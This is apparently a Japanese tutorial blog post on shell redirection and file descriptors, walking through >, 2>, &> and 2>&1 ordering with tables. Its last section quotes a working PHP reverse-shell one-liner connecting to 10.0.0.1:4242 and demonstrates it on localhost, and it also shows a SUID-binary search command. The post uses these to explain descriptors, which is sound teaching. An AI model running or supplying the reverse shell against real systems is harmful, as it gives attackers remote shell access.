リダイレクトについて
色々なリダイレクトを理解しようという試みである。
スクリプトの作成
これがどのような意味を持つのかは今は一切考えず、 標準出力に 1, 標準エラー出力に 2 という文字列を出力するスクリプトを作成しておこう。
$ echo "echo 1 >&1" > redir
$ echo "echo 2 >&2" >> redir
$ chmod +x redir
標準出力と標準エラー出力
標準出力と標準エラー出力に文字列を出力させてみる。
$ ./redir
1
2
どちらも端末に文字列が出力される。このとき、プログラムの入出力は以下の通り。
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 標準入力 |
| 1 | 標準出力 |
| 2 | 標準エラー出力 |
ファイル記述子(File Descriptor(FD))はカーネルが識別するために用いる識別子で、
非負整数が用いられる。
初めの0-2には名前があり、標準的な入出力に対応する番号と思ってくれればよい。
標準出力のファイルへのリダレイクト
出力をファイルにリダイレクトしたい。
$ ./redir > out
2
$ cat out
1
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 標準入力 |
| 1 | out |
| 2 | 標準エラー出力 |
ファイルではなく端末に文字列が出力されてしまった。
原因は、>は標準エラー出力ではなく、標準出力をファイルにリダイレクトする記号であるからだ。
標準エラー出力のファイルへのリダレイクト
$ ./redir 2> out
1
$ cat out
2
標準エラー出力がファイルに出力されることが確認できる。
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 標準入力 |
| 1 | 標準出力 |
| 2 | out |
2はファイル記述子を表している。試しに2>を1>とすると、標準出力がファイルに出力される。これは>と同じ結果。
ちなみにこれは find でアクセスする権限ないディレクトリについてのエラーを無視する時に使える。
find / -perm -u+s 2> /dev/null
しかし、この方法では標準出力か標準エラー出力どちらのみしかファイルに出力されない。
標準出力と標準エラー出力のファイルへのリダイレクト
$ ./redir &> out
$ cat out
1
2
ファイルに文字列が出力されただろうか。
&>は標準出力と標準エラー出力をファイルに出力するリダイレクトだと分かる。
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 標準入力 |
| 1 | out |
| 2 | out |
なお、これは以下のようにも書ける。
$ ./redir > out 2>&1
cat out
「スクリプト実行前」に>, 2>&1の順でリダイレクトが解決される。
> out: FD1をファイルに出力
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 標準入力 |
| 1 | out |
| 2 | 標準エラー出力 |
2>&1: FD2が FD1の値の複製となる
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 標準入力 |
| 1 | out |
| 2 | out |
結果として、標準出力と標準エラー出力がファイルに出力されることになる。
リダイレクトの順番が本質的で、例えば以下のように書きたくなるが、 これは期待通りの結果とならない。
$ ./redir 2>&1 > out
2
2>&1: FD2が FD1の値の複製となる
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 標準入力 |
| 1 | 標準出力 |
| 2 | 標準出力 |
> out: FD1をファイルに出力
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 標準入力 |
| 1 | out |
| 2 | 標準出力 |
ファイルに1, 端末に2と出力されてしまう理由がわかっただろうか。
ファイル記述子 3 以上
$ php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");
exec の中の評価を考えよう。
<&3: FD0が FD3の複製となる。
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 3 |
| 1 | 標準出力 |
| 2 | 標準エラー出力 |
| 3 | 3 |
>&3: FD1が FD3の複製となる。
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 3 |
| 1 | 3 |
| 2 | 標準エラー出力 |
| 3 | 3 |
2>&3: FD2が FD3の複製となる。
| ファイル記述子 | 参照先 |
|---|---|
| 0 | 3 |
| 1 | 3 |
| 2 | 3 |
| 3 | 3 |
全て、FD3になってしまったが、これは何だろうか。
これは PHP の Reverse Shell のペイロードなので、3 つターミナル開いて FD がどうなっているか見てみよう。
Victim
$ nc -lvnp 4242
Attacker
$ php -r '$sock=fsockopen("localhost",4242);exec("/bin/sh -i <&3 >&3 2>&3");
Observer
$ ps aux | grep sh
kza 10 0.0 0.0 6176 5068 pts/0 Ss 00:44 0:00 -bash
kza 80 0.0 0.0 6104 5112 pts/1 Ss 00:45 0:00 -bash
kza 131 0.0 0.0 6104 5136 pts/2 Ss 00:49 0:00 -bash
kza 142 0.0 0.0 6104 5144 pts/3 Ss 00:49 0:00 -bash
kza 217 0.0 0.2 65304 18672 pts/2 S 01:07 0:00 php -r $sock=fsockopen("localhost",4242);exec("/bin/sh -i <&3 >&3 2>&3");
kza 218 0.0 0.0 2888 1048 pts/2 S 01:07 0:00 sh -c /bin/sh -i <&3 >&3 2>&3
kza 219 0.0 0.0 2888 944 pts/2 S+ 01:07 0:00 /bin/sh -i
kza 227 0.0 0.0 4024 2016 pts/3 S+ 01:14 0:00 grep --color=auto sh
$ lsof -p 219 | tail -5
sh 219 kza 0u IPv4 20077 0t0 TCP localhost:60694->localhost:4242 (ESTABLISHED)
sh 219 kza 1u IPv4 20077 0t0 TCP localhost:60694->localhost:4242 (ESTABLISHED)
sh 219 kza 2u IPv4 20077 0t0 TCP localhost:60694->localhost:4242 (ESTABLISHED)
sh 219 kza 3u IPv4 20077 0t0 TCP localhost:60694->localhost:4242 (ESTABLISHED)
sh 219 kza 10u CHR 5,0 0t0 9 /dev/tty
実行したshのlsofを見ると、FD0-3が全て一様になっており、fsocketopen が生成したと思われるソケットになっていることが確認できる。
$ ps aux | grep php
kza@DESKTOP-9HPEO14:~$ ps aux | grep php
kza 217 0.0 0.2 65304 18672 pts/2 S 01:07 0:00 php -r $sock=fsockopen("localhost",4242);exec("/bin/sh -i <&3 >&3 2>&3");
kza 222 0.0 0.0 4024 2036 pts/3 S+ 01:08 0:00 grep --color=auto php
$ lsof -p 217 | tail -5
php 217 kza 0u CHR 136,2 0t0 5 /dev/pts/2
php 217 kza 1u CHR 136,2 0t0 5 /dev/pts/2
php 217 kza 2u CHR 136,2 0t0 5 /dev/pts/2
php 217 kza 3u IPv4 20077 0t0 TCP localhost:60694->localhost:4242 (ESTABLISHED)
php 217 kza 4r FIFO 0,12 0t0 20078 pipe
実行したphpのlsofを見ると、ここが由来になっているらしい。
PHP でソケット生成すると、ファイル記述子が FD3から割り当てられる挙動というのが見てとれる。
参考情報
- Reverse Shell Cheat Sheet
- Redirections (Bash Reference Manual)
- bash: 標準出力、標準エラー出力をファイル、画面それぞれに出力する方法 - Qiita
紹介している Qiita の記事が非常に参考になるため、ぜひご一読あれ。